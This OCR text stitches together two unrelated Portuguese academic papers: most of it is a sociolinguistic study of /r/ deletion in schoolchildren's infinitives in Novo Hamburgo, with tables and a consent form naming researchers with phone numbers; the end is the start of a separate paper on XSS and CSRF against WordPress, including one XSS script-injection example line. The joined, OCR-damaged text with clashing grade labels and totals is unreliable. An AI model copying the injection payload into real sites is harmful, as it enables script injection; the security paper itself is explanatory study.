emancipacao politica, no entanto, foi alcancada somente em cinco de abril de 1927. O munici-

pio cresceu em termos geometricos e populacionais, tornando-se mais tarde uma das cidades

gauchas mais populosas, fruto do incremento da industria do couro e do calgcado. Tal ramo
tornou-se forte e precursor, levando o mercado hamburguense a niveis mais altos e competiti-
vos. Durante anos, a cidade deteve grande repercusséo sobre essa faixa de producao, o que
Ihe atribuiu o titulo de Capital Nacional do Calgado. De Hamburger-Berg passou a se chamar
Hamburgo Velho e, posteriormente, mudou para o nome atual.

Novo Hamburgo esta localizada no Vale dos Sinos, a 40 quildometros da capital Porto
Alegre. A cidade faz limite com os municipios de Sdo Leopoldo, Estancia Velha, Ivoti, Doi

Irmaos, Sapiranga, Campo Bom e Gravatai. A seguir, a localizagédo da cidade (Figuras 1 e




igura 1: Localizagéo da cidade de Novo Hamburgo no estado do Rio Grande do Sul

Fonte: Site da Prefeitura Municipal de Novo Hamburgo, RS
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Figura 2: Mapa da cidade de Novo Hamburgo e suas divisas
Fonte: Site do IBGE (Instituto Brasileiro de Geografia e Estatistica)
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Segundo dados do IBGE, em 2014, a populacao de Novo Hamburgo foi estimada em
248.251 habitantes. Sua area territorial compreende 223,821 km=. E, de acordo com o site da
prefeitura do municipio, ha, na cidade, 29 escolas estaduais, 76 escolas municipais e 27 es-
colas particulares.

O bairro de Hamburgo Velho onde, mais precisamente, a pesquisa foi desenvolvida,
pode ser reconhecido como o bergo da cidade de Novo Hamburgo, ja que os primeiros imi-
grantes estabeleceram-se nessa regido (a antiga Hamburguer Berg). O bairro carateriza-se
por manter ainda contrugoes antigas, remanecescentes do periodo colonial e hoje tombadas
como patriménio publico. Nele encontra-se a rua reconhecida como sendo a mais nobre da ci-
dade, a rua Mauricio Cardoso, contemplada por grandes e requintados edificios — residenciais
e comerciais. Os bairros limitrofes sao: Guarani, Jardim Maua, Canudos, Sdo Jorge, Sao José,

Vila Nova e Centro.

3.2 INFORMANTES

Para a pesquisa de campo, foram coletados dados com criangas do Ensino Funda-
mental de uma escola da rede privada de ensino da cidade de Novo Hamburgo, localizada
no bairro Hamburgo Velho. Para a composicao da amostra, foram considerados os seguintes
critérios: sexo (masculino e feminino) e nivel de escolaridade (1°, 3° e 5° ano do Ensino Fupn-
damental)’. Multiplicando-se o nimero de fatores sociais um pelo outro (2 x 3), chegou-se/a 6
células, conforme pode ser observado no Quadro 1 a seguir.

' Convém destacar que néo se considerou a classe social dos informantes uma vez que todos se enquadram em uma mesma dlasse.




Quadro 1 — Composigéo das células da amostra

Célula 1 Célula 2
Menino 1 Menina 2
1°ano 1° ano
Célula 3 Célula 4
Menino 3 Menina 4
3°ano 3°ano
Célula 5 Célula 6
Menino 5 Menina 6
5° ano 5° ano

Fonte: Elaborado pelos autores

A fim de que a amostra fosse representativa da populagcao em estudo, optou-se pela
selecdo de trés individuos por célula, totalizando18 criangas (6 células x 3 informantes por
célula = 18 informantes). Para a selecdo dos informantes, contou-se com o auxilio das profes-
soras das turmas e com a direcao da escola, que enviaram um Termo de Consentimento Livre e
Esclarecido (APENDICE A), solicitando autorizacdo dos pais para as criancas participarem da

pesquisa. Assim, participaram da pesquisa, as criangas que trouxeram os termos assinados.

3.3 INSTRUMENTO DE PESQUISA

Como instrumento para a realizacéo da pesquisa, foi utilizado o livro “Frog, where are
you?”, de Mercer Mayer (APENDICE B), composto apenas por imagens, ou seja, sem nenh
tipo de texto escrito. As imagens do livro foram reproduzidas de forma ampliada em folhag' de
tamanho A4 e apresentadas as criangas individualmente uma de cada vez.

As imagens do livro foram escolhidas como instrumento de coleta de dados por/acre-

ditar-se que, ao permitir que o informante usasse sua imaginacao para contar uma historia, ele




se preocuparia mais com a historia que contaria do que com sua fala, esquecendo-se de que

a interagao estava sendo gravada.

3.4 COLETA DE DADOS

A coleta de dados foi realizada em junho de 2015, tomando como base as imagens

do livro Frog, where are you?, mostradas aos informantes, que deveriam contar uma historia
a partir delas. A partir da visualizacao das imagens do livro de Mayer, as criangas deveriam
contar, oralmente, o que acreditavam que estava acontecendo na imagem mostrada e, em
seguida, eram indagadas sobre 0 que achavam que aconteceria na imagem seguinte. Assim,
eram questionadas, propositadamente, da seguinte forma: “o que vocé acha que o menino ira

fazer?”, ja esperando que, estruturalmente, as respostas fossem dadas utilizando uma locugéo

verbal com verbo no infinitivo, como em: “o menino vai procurar o sapo”. Entao, era mostrada a
imagem seguinte e o processo se repetia.
Como essa obra de Mercel Mayer € um tanto extensa, nao foi possivel utiliza-la por

inteiro com as criangas, atividade que exigiria muito tempo e as cansaria, comprometendo

a pesquisa, inclusive. Assim, acabou-se por selecionar apenas cinco imagens, nao em uma
sequéncia da obra original, mas em uma sequéncia que fizesse sentido e fosse coerente, man-
tendo uma situacao inicial, um desenvolvimento e uma situacao final.

Optou-se por iniciar as entrevistas no 1° ano, porque, nessa etapa, as criangas ainda nao
estao alfabetizadas e as atividades, embora ja antecipem essa fase, nao constituem o processo
de alfabetizagao em si. Ja no 3° ano, a maior parte das criancas ja esta alfabetizada, al

em estagios mais avangado e outras em estagios menos avangados, sendo comum haver certa




heterogeneidade nessa etapa em uma mesma turma. E, finalmente, decidiu-se pelo 5° ano,
porque, nessa fase, as criangas ja estao plenamente alfabetizadas, realizando trabalhos que
envolvem, inclusive, interpretacao de texto e compreensao leitora. A escolha desses trés niveis
de ensino, caracterizados por estagios distintos no que diz respeito ao processo de alfabetiza-
¢ao, justifica-se por pressupor-se que o nivel de escolarizagao possa ser um fator de influéncia
no apagamento do fonema /r/, uma vez que o contato com a escrita, viabilizado justamente pelo
processo de alfabetizacao, possa interferir na forma como as criancas utilizam a fala.

As entrevistas aconteceram individualmente, para melhor percepgao da ocorréncia das
variantes e também para evitar a inibicao do informante em companhia de outra crianga. Todas
as interacoes foram gravadas. Apos, todos os verbos no infinitivo utilizados pelos informantes
foram transcritos foneticamente para analise. Depois de transcritas, as palavras que continham
o fonema-alvo da pesquisa foram submetidas ao programa de analise estatistica Goldvarb X,
criado por Sankoff, Tagliamonte e Smith em 2005 (TAGLIAMONTE, 2006), para a verificagéo
de probabilidades referentes ao apagamento do fonema /r/ e aos contextos propicios a esse

apagamento.

3.5 VARIAVEIS OPERACIONAIS

Para a analise dos dados de fala coletados para esta pesquisa, definiu-se uma variavel
dependente e variaveis linguisticas e extralinguisticas ou sociais. Por variavel dependente, gon-
forme Martins (2013), entende-se o efeito que se deseja investigar e cujo valor esté sujeito a/cau-
sas especificas identificadas como variaveis independentes, neste caso, a realizacao do fonema

/r/ no final de verbos no infinitivo ou 0 apagamento do fonema /r/, como em <esta> para “gstar”.




3.5.1 VARIAVEIS INDEPENDENTES LINGUISTICAS

Partindo-se da variavel dependente selecionada para esta pesquisa, 0 apagamento
total do fonema /r/ em posigao final de verbo, como em <fald> para “falar” ou da manutengéo
do fonema /r/ estabeleceram-se as seguintes variaveis independentes linguisticas:

»  vogal precedente ao fonema /r/ (de acordo com as conjugacoes verbais AR - 12

conjugacao, ER e OR — 22 conjugacao e IR — 3% conjugacao, como em <pega>
em lugar de “pegar”, <recebe> em lugar de “receber” e <pb6> em lugar de “por” e
<parti> em lugar de “partir”, respectivamente);

* contexto seguinte: vogal, consoante e pausa, como em, respectivamente: <vim

aqui pega os sapatos> para “vim aqui pegar os sapatos”; <ela vai parti seu cora-
cao> para “ela vai partir seu coragao”; <ele ficou com medo e comegou a corré>

em vez de “ele ficou com medo e comecou a correr”.
3.5.2 VARIAVEIS INDEPENDENTES SOCIAIS

Ja em relacao as variaveis independentes sociais consideradas para esta pesquisa
tem-se:
«  sexo (masculino e feminino);
= nivel de ensino (1° ano do ensino fundamental, 3° ano do ensino fundamental e
ano do ensino fundamental).
A escolha dessas variaveis esta baseada em pesquisas sociolinguisticas ja publicadas
e de cunho cientifico que tendem, com grande frequéncia, a considerar o sexo como fafor de

grande influéncia nas distincdes da fala, apresentando o grupo feminino, normalmente,|como




aquele cuja fala esta mais préxima ao padréo, como foi verificado por Costa (2013), que ve-
rificou que o0 apagamento do segmento em estudo ocorre de maneira muito mais significativa
entre 0 sexo masculino (masculino - peso relativo 0,65, 61%; feminino - peso relativo 0,35,
39%), e a escolaridade como importante papel na fala dos individuos, porque contribui para a
adaptacgao linguistica das criangas as formas cultas e padronizadas.

Alem disso, a opgao de investigar a influéncia do nivel de escolaridade na producao
ou nao do fonema /r/ no final de verbos no infinitivo justifica-se também pelo fato de a presente
pesquisa pretender analisar se ha e, quando ha, na fase inicial do Ensino Fundamental, uma
mudanca no uso do fonema /r/ no final de verbos no infinitivo, pois, em geral, no 1° ano, a maio-
ria das criancgas esta tendo o primeiro contato com um processo de ensino formal e, a medida
que elas avancam, esse contato cresce, favorecendo o desenvolvimento da escrita. Entretanto,
a rede social da criangca também aumenta, promovendo a construgao de novos dialogos, ricos
discursos e manifestagdes verbais variadas.

Isso leva a crianga a entrar em contato com um codigo escrito que requer o registro
do <r> no final dos verbos no infinitivo ao mesmo tempo em que interage com colegas, pais e
até professores que nao produzem o fonema /r/ no final desses mesmos verbos no infinitivo em

sua fala. Assim, estabelece-se um paradoxo a ser analisado: enquanto o avango na escrita se

da dentro das formalidades do ensino escolar, favorecendo a utilizagao da norma padréao, /o
contexto social delega a utilizacao do vernaculo que, precisamente, no caso da utilizacag/do
fonema /r/ no final de verbos no infinitivo, inibe-o, distinguindo-se da norma padréo. A presgnca
desses dois fatores de influéncia na construgao da fala das criancas e também dos infor|

desta pesquisa torna relevante a analise desta variavel.




4 APRESENTACAO
E DISCUSSAO DOS
RESULTADOS

No que diz respeito a variavel escolaridade, Costa (2013), verificou que a aplicacdo da
regra de apagamento do fonema /r/ diminuiu com o avango da escolaridade (22 série — peso
relativo 0,95, 95%; 32 série — peso relativo 0,26, 35%; 4 série — peso relativo 0,30, 38%)Descri-

tas as variaveis extralinguisticas ou sociais, passa-se a apresenta e discussao dos resultados.

Nesta secao, sdo apresentados os dados coletados com as criangas, conforme a des-
cricao apresentada anteriormente, e discutidos os resultados com base em pesquisas anterio-
res sobre a mesma tematica.

Apos as interacdes com todas as criancas, que foram gravadas, todos os audios foram
ouvidos e todos os verbos no infinitivo foram transcritos. Na sequéncia, fez-se a codificagao
dos verbos para realizar o tratamento estatistico dos dados por meio do programa Goldvarb
X. Essa analise permitiu verificar a ocorréncia do fendmeno em estudo e o papel das variaveis
independentes linguisticas (contexto precedente — de acordo com a conjuncao do verbo: 12, 22
ou 32 - e contexto seguinte — vogal, consoante ou pausa) e as variaveis independestes sociais
(sexo — masculino ou feminino - e escolaridade — 1°, 3° e 5° ano do Ensino Fundamental) no

apagamento do fonema /r/, no final de verbos no infinitivo na fala de criancas de 1°, 3° e 5° ano

do Ensino Fundamental de uma escola privada de Novo Hamburgo.
A analise da frequéncia global do apagamento do fonema /r/ na fala das crianga
vestigadas revelou que houve apagamento em 553 dos 558 dados coletados, 0 que equivale a

99,1% dos casos, como pode ser visualizado no Grafico 1 que segue.




0,90%

H sem apagamento
do /r/ (5 - 558)

"l com apagamento
do /r/ (553 -558)

Grafico 1 — Apagamento do fonema /r/: frequéncia global

Fonte: Elaborado pelos autores

Esse resultado confirma a hipotese inicial de que a frequéncia de apagamento do fone-
ma /r/ no final dos verbos no infinitivo seria alta. Resultado semelhante foi verificado por Dias
(2003), que identificou 98% de apagamento do fonema /r/ pds-vocélico em textos orais de

informantes em processo de aquisicao da linguagem. A pesquisadora identificou apenas uma

realizacao do fonema em 66 enunciados analisados. O pagamento do fonema /r/ também ja ha-
via disso verificado por Callou (1979), Oliveira (1981), Mattos Lima (1992) e Monaretto (2000).

No que diz respeito as variaveis linguisticas investigadas, a analise de regressao lo
gistica revelou que nenhuma das duas variaveis se mostrou relevante para o apagamento do
fonema /r/ na fala das criancas investigadas. O comportamento das variaveis tipo de verpo e

contexto seguinte pode ser visualizado nas Tabelas 1 e 2 que seguem.



Tabela 1: Contexto precedente

Fatores Aplicagao/Total Percentagem
Verbos da 12 Conjugacéo 319/324 98.5%
Verbos da 22 Conjugacao 146/146 100%
Verbos da 3? Conjugacao 88/88 100%
Total 553/558 99.1%

Fonte: Elaborado pelos autores

Observando-se a Tabela 1, verifica-se que somente deixou de ocorrer apagamento doj
fonema /r/ em verbos da primeira conjugacao, nos terminados em “ar”, como em “o0 menino vai
brincar com o0 sapo”. Nesse caso, houve apagamento em 319 das 324 ocorréncias, o0 que equi-
vale a 98,5%. Nos outros dois fatores analisados, verbos da segunda (terminados em “er” ou
“or”, como em “0 sapo vai comé” ou “vai pd 0 sapo no pote”) e terceira conjugacao (terminados
lem “ir”, como em “o sapo vai fugi”), houve apagamento em 100% das ocorréncias.
Esse resultado difere do encontrado por Costa (2013) que, ao analisar o papel do con-
texto precedente para o apagamento do fonema /r/ em verbos, identificou a vogal “i”, com

peso relativo 0,64 (16/34, o que equivale a 47%) como a mais favoravel para a ocorréncia do|

apagamento. Na segunda posicéo, aparece a vogal “a”, com peso relativo 0,53 (372/695,

que equivale a 53%), que se mostra praticamente neutra no que diz respeito ao apagamento|
do fonema /r/, uma vez que o peso relativo esta bastante proximo a 0,50. Ja a vogal “e”,
peso relativo 0,37 (94/225, o que equivale a 41%), mostra pouco favoravel ao apagamento do|

fonema /r/.




Ainda em relagéo as vogais tematicas, Bertani (1998) verificou maior ocorréncia do apa-
gamento do /r/ nos verbos de 12 conjugacao, enquanto nesta pesquisa, como mostra a Tabela
1, essa conjugagao foi a Unica a nao ter 100% de apagamento do fonema /r/, ou seja, nesta
pesquisa, houve maior retencao do /r/ nos verbos com vogal tematica “a”.

No que diz respeito ao contexto seguinte, Votre (1978) esperava que essa variavel se
mostrasse importante para o processo de apagamento do fonema /r/ no final dos verbos no
infinitivo. O resultado de seus estudos, porém, nao revelou nenhum efeito favorecedor aparente
a retengéo do /r/ em nenhum dos trés casos fatores (vogal, consoante ou pausa), resultado
semelhante ao desta pesquisa. Na pesquisa de Votre (1978), no entanto, a retengéo do /r/ foi
mais favorecida pelo contexto seguinte pausa, enquanto nesta investigacao houve 100% de

apagamento nesse fator, como pode ser visto na Tabela 2 que segue.

Tabela 2: Contexto seguinte

Fatores Aplicacao/Total Percentagem
Vogal 173177 97.7%
Consoante 231/232 99.6%
Pausa 149/149 100%
Total 553/558 99.1%

Fonte: Elaborado pelos autores

Observando-se a Tabela 2, verifica-se que, no caso desta pesquisa, como ja foi dito
riormente, houve 100% de apagamento do fonema /r/ quando o contexto seguinte do verbo po in-

finitivo era uma pausa, como em “o sapo vai fugi”. Ja quando o contexto seguinte era uma gonso-



ante, houve apagamento em 99,6% (em 231 das 232 ocorréncias), como em “0 menino vai cuidar
do sapo”. Assim, o contexto mesmo favorecedor para o apagamento foi a vogal com apagamento
em 173 das 177 ocorréncias, 0 que equivale a 97,7%, como em “0 sapo vai comer a comida”.

Esse resultado difere do obtido por Dias (2003), que identificou 100% de apagamento
quando o contexto seguinte era uma vogal ou uma pausa e 87% de apagamento quando era
uma consoante. Resultado semelhante ao de Dias (2003) ja tinha sido obtido por Bertani (1998),
em pesquisa realizada em Porto Alegre, na qual a vogal tinha aparecido como favorecendo o
apagamento do /r/ em maior proporcao do que as consoantes e a pausa.

No que tange as variaveis sociais, 0s resultados de uma pesquisa realizada por Di-
nah Callou (1979) revelaram que a tendéncia geral do apagamento do fonema /r/ é liderada

pelas mulheres. William Labov (1972) também ja afirmou anteriormente a tendéncia do grupo

feminino ser mais conservador perante as mudancas linguisticas. Assim, com base nessas
pesquisas, a hipotese inicial deste trabalho confirmou-se, como pode ser visto na Tabela 3,
embora nenhuma das variaveis sociais tenha sido considerada relevante estatisticamente para
0 apagamento do fonema /r/ no final de verbos no infinitivo e embora a diferenca entre os dois

grupos tenha sido bem baixa.

Tabela 3: Sexo

Fatores Aplicacao/Total Percentagem
Sexo feminino 323/327 98.8%
Sexo masculino 230/231 99.5%
Total 553/558 98.1% /

Fonte: Elaborado pelos autores



Analisando-se a Tabela 3, verifica-se que, como ja foi dito, foram os informantes do sexo
masculino que mais apagaram o fonema /r/ no final de verbos no infinitivo, 0 que ocorreu em
230 das 231 ocorréncias, o que equivale a 99,5% dos casos. Ja as informantes do sexo femini-
no apagaram o fonema /r/ em 323 das 327 ocorréncias, o que equivale a 98,8%, mostrando-se
um pouco mais conservadoras do que 0s meninos, como ja havia sido verificado por Labov
(1972) e Callou (1979).

Resultado semelhante foi obtido também por Costa (2013), a qual também identificou
que 0s meninos apagaram mais o fonema /r/ no final de verbos no infinitivo do que as meninas,
pois, enquanto o fator sexo masculino, com peso relativo 0,65, mostrou-se favoravel para o apa-
gamento (287/468, o que equivale a 61%), o fator sexo feminino mostrou-se pouco favoravel,
com peso relativo 0,35 (195/489, o que equivale a 39%).

A Tabela 4, a seguir, mostra os resultados obtidos nesta pesquisa com relagao a va-
riavel escolaridade, que também nao foi selecionada como relevante estatisticamente para o
apagamento do fonema /r/ no final de verbos no infinitivo. Observando-se a tabela, é possivel
notar que, embora a proximidade entre os resultados obtidos para os trés fatores seja muito
proxima (1° ano - 98,8%; 2° ano -100%; 3° ano — 98%), foram as criangas do 3° ano do Ensino

Fundamental que apagaram menos o fonema /r/ no final dos verbos, o que confirma a hipotese

inicial de que, a medida que o processo de alfabetizacao avanca, ha maior incidéncia do uso

do /r/ em fungao do contato com a escrita.




Tabela 4: Escolaridade

Fatores Aplicacao/Total Percentagem
1°ano do EF 163/165 98.8%
2°ano do EF 240/240 100%
3°ano do EF 150/153 98.0%

Total 553/558 99.1%

Fonte: Elaborado pelos autores

E interessante destacar, contudo, que foram as criangas dos 2° ano que mais apaga-

ram o /r/ e ndo as do 1° ano, como se esperava. Paradoxo semelhante foi verificado por Costa

(2013), que verificou como menos favoravel para o apagamento do fonema /r/ o fator 3° ano,
com peso relativo 0,26 (125/356, o que equivale a 35%). Nessa pesquisa, 0 contexto 4° ano
ficou em segundo lugar, com peso relativo 0,30 (150/385, o que equivale a 38%). E o contexto
mais favoravel para o apagamento foi o fator 2° ano, com peso relativo 0,95 (207/216, o que
equivale a 95%).

Apresentados e discutidos os resultados encontrados para esta pesquisa, apresentam-

-se as consideracoes finais.



CONSIDERACOES
INAIS

Ao longo deste artigo, procurou-se analisar a frequéncia do apagamento do fonema /r/
no final de verbos no infinitivo de um grupo de 18 criancas do 1°, 3° e 5° ano do Ensino Fun-
damental de uma escola privada da cidade de Novo Hamburgo (RS) e os fatores linguisticos
e sociais que condicionam esse apagamento, por meio de entrevistas orais tomando como
base um instrumento elaborado a partir de imagens retiradas do livro “Frog, where are you”,
de Mercer Mayer.

A andlise dos dados coletados revelou apagamento do segmento em estudo em 99,1%
das ocorréncias (553/558). Isso mostra que esse fonema praticamente nao é mais produzido
pelo grupo investigado nesse contexto (no final de verbos no infinitivo).

A anédlise das variaveis linguisticas, por sua vez, indicou que nenhuma das duas va-
riaveis investigadas, contexto precedente e contexto seguinte, mostrou-se relevante para a
aplicacao da regra de apagamento. Pode-se destacar, contudo, que as cinco ocorréncias em
que o fonema foi mantido deram-se em verbos com vogal tematica “a”, como em “o sapo vai
pular”; quatro delas ocorreram seguidas de vogal, como em “o menino vai ajudar 0 sapo” e
uma ocorreu seguida de consoante, como em “0 sapo vai pular no pote”. Esse resultado nao

i

confirma a hipodtese inicial de que o contexto presente vogal tematica “i”, conforme Costa

(2013), e o contexto seguinte consoante, de acordo com Dias (2003), seriam os mais favoraveis
a manutencao do fonema /r/.

No que tange as variaveis sociais, 0 programa de regressao logistica Goldvarb X tam-
bém nao selecionou nenhuma das duas variaveis em analise, sexo e escolaridade, com
levantes para o apagamento do fonema /r/. E possivel esclarecer, entretanto, que das

ocorréncias em que houve manutengao do fonema /r/, quatro foram produzidas por meninas e




umario

apenas uma foi produzida por um menino. Embora o nimero de ocorréncias seja baixissimo,
confirma os resultados obtidos por Labov (1972), que indicam que a mulher é mais conserva-
dora no uso da linguagem e também a hipdtese inicial baseada em Costa (2013), de que as

meninas preservariam mais o fonema /r/.

Quanto a variavel escolaridade, estabeleceu-se um paradoxo assim como ocorreu na
pesquisa de Costa (2013), como foi apresentado na segéo referente a metodologia: das cinco
ocorréncias em que houve manutencao do segmento em analise, duas se deram no 1° ano e
3 no 3° ano, refutando, dessa forma, a hipodtese inicial de que o percentual de apagamento
diminuiria com o0 avanc¢o da escolaridade.

Apesar de algumas das hipoteses iniciais nao terem se confirmado, acredita-se que

0 objetivo deste trabalho foi alcancado, ja que a hipdtese geral do crescente apagamento do

fonema /r/ em final de verbos no infinitivo se confirmou, validando o que estudos anteriores,
realizados em outros lugares do pais ja haviam evidenciado. Com os resultados obtidos com
esta pesquisa e comparando-os com aos de pesquisas estudadas, fortificou-se a ideia de que

a lingua esta em constante transformacao e que a fala é de carater heterogéneo.
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APENDICE A
TERMO DE CONSENTIMENTO LIVRE E ESCLARECIDO

TITULO DA PESQUISA

0 APAGAMENTO DO FONEMA /R/ POS-VOCALICO EM VERBOS NO INFINITIVO NA FALA DE CRIANCAS
DAS SERIES INICIAIS DO ENSINO FUNDAMENTAL

1. Justificativa e objetivos da pesquisa e
A pesquisa tem como objetivo verificar o apagamento total da variavel <R> em posicéo final de

verbo no vernaculo dos estudantes do Ensino Fundamental.

2. Procedimentos a serem utilizados
Sera solicitado aos estudantes que contem uma historia a partir de imagens selecionadas do
livro “Frog, where are you?”, de Mercer Mayer. Essa interacao sera gravada em audio para

posterior

3. Desconforto ou riscos esperados

Nao ha desconforto ou riscos esperados.




4. Beneficios a serem obtidos
Contribuigao para diminuir o preconceito linguistico, e maiores esclarecimentos sobre o mes-

mo.

5. Garantia de resposta a qualquer pergunta
Garante-se aos pais ou responsaveis pela crianca o direito a informagdes sobre a pesquisa, a

qualquer momento.

6. Liberdade de abandonar a pesquisa
Garante-se aos pais ou responsaveis pela crianga o direito de desligar-se da pesquisa, a qual-

quer momento.

7. Garantia de privacidade
A identidade dos estudantes que participarao da pesquisa sera preservada. Nos trabalhos
realizados a partir das gravacoes de audio, 0 nome verdadeiro nao sera mencionado, ou seja,

sera substituido por uma letra ou numero (informante A, B ou C).

Rubrica do pai ou responsavel pela crian¢a e dos académicos.
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Declaro que fui informado dos objetivos da pesquisa acima de maneira clara e detalhada. Recebi informa-

coes a respeito da forma como serao coletados os dados e tive oportunidade de esclarecer minhas duvidas.

Sei que, a qualquer momento, poderei solicitar novas informagdes e modificar minha deciséo, se assim desejar.

Os pesquisadores responsaveis pelo trabalho certificaram-me de que minha identidade e a de meu filho

ou de minha filha serdo preservadas e que terei liberdade de retirar meu consentimento de participacao na

pesquisa a qualquer momento.

Caso tiver novas perguntas sobre este estudo, sobre meus direitos como participante desta pesquisa, ou

caso pense que fui prejudicado em fungéo da participacao na pesquisa, posso dirigir-me aos pesquisadores a

qualguer momento.

Declaro que recebi copia do presente Termo de Consentimento Livre e Esclarecido.

Rubrica do pai ou responsavel pela crianca e dos académicos.

Nome do pai ou responsavel pela crianga

Assinatura do pai ou responsavel pela crianga

Nome da crianca a que se refere este Termo de Consentimento Livre Esclarecido

Novo Hamburgo, / /

Prof?. Dr? Rosemari Lorenz Martins - Fone: 35875393

Novo Hamburgo, __ /_ /
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Académica Giane Godoy Batista— Fone: 8186 9217

Novo Hamburgo, / /

Académico Luis André Gongalves Werlang— Fone: 9255 4858

Novo Hamburgo, / /

Académica Maité Francine Bohn — Fone: 9372 2682

Novo Hamburgo, __ /_ /
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Imagem 02
Imagem 01 o < Imagem 03

Fonte: Disponivel em <https://www.phil-fak.uni-duesseldorf.de/fileadmin/Redaktion/Institute/Allgemeine_Sprachwissenschaft/Frogstory-2_01.pdf.> Acesso efn Abril de 2015.
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Ferramentas que visam facilitar a publicacdo de conteldo na internet se tornaram a porta de
entrada para a maioria das pessoas que publicam sites pessoais e blogs. Um exemplo disso é o
CMS (Content Management System) Wordpress, que disponibiliza aos seus usudrios uma enorme
quantidade de plug-ins e temas gratuitamente na internet. Estes pacotes sao desenvolvidos por
terceiros e capazes de adicionar as mais diversas funcionalidades a um site. Visando garantir a
sequranca dos dados e das aplicacdes que a utilizam como base, a empresa responsavel pelo
desenvolvimento da plataforma publica reqularmente correcdes de erros e falhas de sequranca.
0 mesmo ndo acontece com as aplicacdes de terceiros (plug-ins e temas), que ndo passam
por homologacdo junto 3 nenhuma empresa e em sua grande maioria ndo possuem testes
de sequranca. A falta deste processo, aliada ao pouco conhecimento técnico do usudrio, pode
comprometer toda a aplicacao. Baseando-se nesses fatos, esse trabalho propoe uma andlise e
levantamento dos vetores de ataque ao utilizar dois dos tipos de vulnerabilidades dentre as mais
comuns exploradas, XSS e CSRF.

Palavras-chave: XSS. CSRF. Wordpress. Sequranca.

ABSTRACT

Tools to facilitate the publication of content on the Internet have become the gateway to most
people who publish personal websites and blogs. An example of this is the CMS (Content Mana-
gement System) Wordpress, which offers its users a huge amount of plug-ins and themes free
online. These packages are developed by third parties and able to add many different features
to a website. In order to quarantee the security of data and applications that use it as a base,
the company responsible for platform development reqularly publishes bug fixes and security
breaches. Not so with third-party applications (plug-ins and themes), which do not undergo any
approval from the company and the most part have no safety testing. The lack of this process,
combined with poor technical knowledge of the user, can compromise the entire application.
Based on these facts, this article proposes an analysis and survey of attack vectors to use two
types of vulnerabilities among the most common exploited XSS and CSRF.

Keywords: XSS. CSRF. Wordpress. Security.




INTRODUCAO Com o grande avango das tecnologias, 0 aumento do acesso a sistemas web ¢ inevi-
>
tavel e uma preocupacao maior com a seguranca das informacoes se faz necessaria. Em sua

grande maioria, sites pessoais e blogs publicados na internet utilizam algum CMS (Content

Management System) para que os usuarios possam gerenciar seu contetdo de forma mais
facil e aqil.

O Wordpress € hoje o CMS mais utilizado no mundo e muito de sua ado¢cao massiva se
deve ao fato de possuir uma grande quantidade de plug-ins e temas, que permitem que um
site seja completamente repaginado em alguns minutos. No entanto, o processo de desenvolvi-
mento destes temas e plug-ins pode variar ja que a grande maioria € desenvolvida por empre-
sas terceiras ou desenvolvedores independentes. Este processo acaba se tornando suscetivel

a vulnerabilidades dentre as quais se pode destacar o XSS e o CSRF (W3TECHS, 2015).

Existem hoje alguns sites utilizados como referéncia na busca de vulnerabilidades em
sistemas Wordpress como Wordpress Exploit, WPScan e até mesmo o CVE Details que arma-
zena dados de vulnerabilidades de todo tipo de aplicagéo. Os dados destes sites foram utiliza-
dos para estudo de falhas de seguranga e extracao de estatisticas da plataforma.

O objetivo principal deste artigo € a realizacédo de um ataque a uma plataforma Wor-
dpress, em ambiente controlado, utilizando XSS e CSRF. Serao apresentados os resultados e

as conclusdes obtidas a partir dos testes executados.




DESENVOLVIMENTO

2.1 WORDPRESS

O Wordpress é um CMS (Content Management System), sistema de gerenciamento de
conteudo utilizado para facilitar alteragdes ou inclusdes de novas funcionalidades em um site
ou blog pelo seu gerenciador, além de disponibilizar diversos recursos para desenvolvedores
(WORDPRESS, 2015).

Por ser um software que possui uma plataforma de facil utilizacéo, personalizavel e
com grande foco na estética, além de ser gratuito, tornou-se 0 CMS mais utilizado no mundo,
possuindo quase 60% do mercado, o que representa pouco mais de 25% de todos os websites
publicados (W3TECHS, 2015).

Desenvolvido com a linguagem de programagédo PHP, o Wordpress utiliza preferen-
cialmente o SGBD (Sistema Gerenciador de Banco de Dados) MySql, duas ferramentas que
facilitam a hospedagem dos sites criados com ele, por existirem diversas opgdes de servidores
no mundo todo que as suportam (WORDPRESS, 2015).

Outro grande atrativo € a enorme quantidade de plug-ins e temas disponibilizados para
download. Aplicagcdes que sao geralmente desenvolvidas por terceiros e podem adicionar no-

vas funcionalidades ou mudar totalmente o layout do site em minutos.

2.2 XSS

O Cross-site Scripting, ou XSS como também € chamado, € um tipo de vulnerabili
de injecao, ou seja, permite que o atacante injete codigo malicioso em uma aplicacao por/meio

de uma falha estrutural ou de desenvolvimento. Neste tipo de ataque € comum que a injegao de




script acontega por meio de campos de formularios ndo tratados ou tratados de forma incorreta
ou até mesmo pela URL do site. (REDE Segura, 2016).

Este tipo de ataque é extremamente comum, inclusive o XSS esta na terceira posicao
dentre as dez vulnerabilidades WEB mais criticas (OWASP, 2013). E comum que um site tenha
campos de pesquisa e que estes campos sejam utilizados para realizar alguma busca em ar-
quivos, para posteriormente serem exibidos para ao usuario. Neste cenario tem-se a seguinte
situacao:

- O usuario, ao acessar o site pode realizar uma busca por posts antigos.

- Apos a pesquisa, o termo pesquisado é impresso no site para que se saiba qual a
pesquisa realizada.

- Caso este campo de pesquisa nao seja tratado, € possivel realizar um ataque XSS a

ele e realizar a execucao de um script malicioso, conforme exemplo demonstrado no Quadro 1.

<script src="SCRIPT_MALICIOSO.js"></script>

Quadro 1 — Exemplo de inje¢do de script XSS.
Fonte: Autores, 2015.

- Apos efetuar uma pesquisa com tais termos, o site alvo ira imprimir o contetdo e enta
executar o script que foi adicionado.
O cenario descrito € o mais comum quando se trata de XSS. Em um primeiro momegnto
pode-se imaginar que a execugao de um simples script pode nao causar tanto prejuiz
tretanto, a combinacao do XSS com outras técnicas pode potencializar o ataque. O XSS [ainda

pode ser dividido em Persistente, Refletido ou Baseado no DOM.
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a) XSS Persistente (stored): neste tipo de ataque o script € armazenado de forma que pos-
sa ser executado sempre que o usuario acessa determinada pagina. Este script pode
estar armazenado em uma pagina de perfil, no banco de dados ou até mesmo em um

cookie (DADARIO, 2012).

b) XSS Refletido (reflected): no caso do Refletido, a aplicagdo apenas reflete aquilo que
foi enviado a ela, como por exemplo um parametro de URL (Uniform Resource Locator)
ou dado de formulario. Caso ndo haja nenhum tratamento nestes dados qualquer coisa
digitada ou enviada sera reproduzida na aplicacao, inclusive um codigo JavaScript
(EQUIPE REDE Segura, 2012).
c) Baseado no DOM (DOM Based): este tipo de ataque nédo é tdo comum quanto o refle-
tido, pois e é mais complexo. E comum que se explore uma vulnerabilidade de algum a
